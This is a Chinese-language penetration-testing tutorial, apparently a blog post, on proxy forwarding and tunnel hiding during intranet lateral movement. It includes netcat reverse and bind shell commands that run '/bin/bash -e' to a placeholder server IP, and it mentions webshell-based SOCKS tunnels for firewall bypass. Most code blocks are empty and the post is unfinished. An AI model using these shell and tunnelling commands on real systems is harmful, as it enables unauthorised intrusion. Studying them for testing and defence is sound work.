内网渗透-内网代理转发与隧道隐藏
0x00 前言
当你内网横向中,内网代理转发和隧道隐藏技术非常重要. 当拿下内网一台主机的控制权后,需要通过代理转发的方式进入内网.当目标有防火墙时,隧道隐藏技术可以帮助我们达到绕过防火墙的目的.
0x01 正反向代理和正反向shell
正向代理
构造代理服务器,用户将请求发送到代理服务器,代理服务器将请求发送到服务器,服务器将信息发送到代理服务器,代理服务器再将信息发送到用户。

反向代理
用户将请求发送到反向代理服务器,反向代理服务器将请求发送到服务器,服务器将信息发送到反向代理服务器,返现代理服务器将信息发送用户,常见应用场景为企业网访问互联网。

正向&反向shell
客户端链接服务器:
服务器 nc -lvnp 444
客户端 nc 服务器ip 444
如果服务器想获取客户端的shell 反向shell
- 服务器:
nc -lvp 4444
- 客户端:
nc 服务端ip 4444 -e /bin/bash
- 服务器:
如果客户端想获取服务器的shell 正向shell
- 服务器:
nc -lvp 4444 -e /bin/bash
- 客户端:
nc 服务器ip 4444
- 服务器:
0x02 socks协议
SOCKS是一种网络传输协议,主要用于客户端与外网服务器之间通讯的中间传递。Socks介于传输层与表示层之间,使用TCP协议传输。
常用socks代理工具
- EarthWorm
- regGeorg
- sSocks
- SocksCap64
- Proxifier
- ProxyChains
0x03 隧道相关
隧道技术是一种通过使用互联网络的基本设施在网络之间传递数据的方式,使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。隧道技术将其他协议的数据帧或者数据包重新封装然后通过隧道发送。新的帧头提供路由信息,以便互联网传递被封装的负载数据。
隐藏通信隧道概述
一般的网络通信,先在两台机器之间建立tcp连接,然后进行正常的数据通信。在指定ip地址的情况下,可以直接发送报文;如果不知道ip地址,就需要将域名解析成ip地址。在实际的网络中,通常会通过各种边界设备、软/硬件防火墙
常用的隧道列举如下。
网络层:Ipv6情况、icmp情况、Gre隧道0
传输层: Tcp 隧道、udp 隧道 常规端口转发 ·
应用层: ssh隧道、http隧道、https隧道、dns隧道
具体的利用以后用到再详细写
0x04 内网代理转发常用方法和工具
msf 建立路由开启socks代理
当服务器通外网时,我们获得了一个msf的session 可以通过msf自带的 autoroute 来建立一个基于session的路由,当建立以后.msf内的工具可以直接与内网通信.如果要其他工具也使用的话 msf建立一个socks代理服务即可
Neo-reGeorg 端口复用
配合Webshell,复用目标的Web服务端口开一个Socks5代理隧道。
https://github.com/L-codes/Neo-reGeorg
1 |
|
Windows netsh 端口转发(双网卡用)
netsh
仅支持TCP协议, 适用于双网卡服务器
连接外网6666端口,就是连接到内网目标上面的3389。
启动转发
1 |
|
取消转发
1 |
|
Linux iptables 端口转发(高权限用)
1、编辑配置文件
1 |
|
2、关闭服务
1 |
|
3、配置规则
1 |
|
4、保存并重启服务
1 |
|
这时访问Web服务器的3389就能登录到内网机器的桌面了。
nps反向代理
1、下载nps服务端到自己的VPS(以Linux-Centos为例)https://ehang-io.github.io/nps
1 |
|
2、修改配置文件(敏感信息改掉) /etc/nps/conf/nps.conf
名称 | 含义 |
---|---|
web_port | web管理端口 |
web_password | web界面管理密码 |
web_username | web界面管理账号 |
auth_key | web api密钥 |
public_vkey | 客户端以配置文件模式启动时的密钥,设置为空表示关闭客户端配置文件连接模式 |
auth_crypt_key | 获取服务端authKey时的aes加密密钥,16位 |
创建系统服务
1 |
|
1 |
|
FRP
未完待续…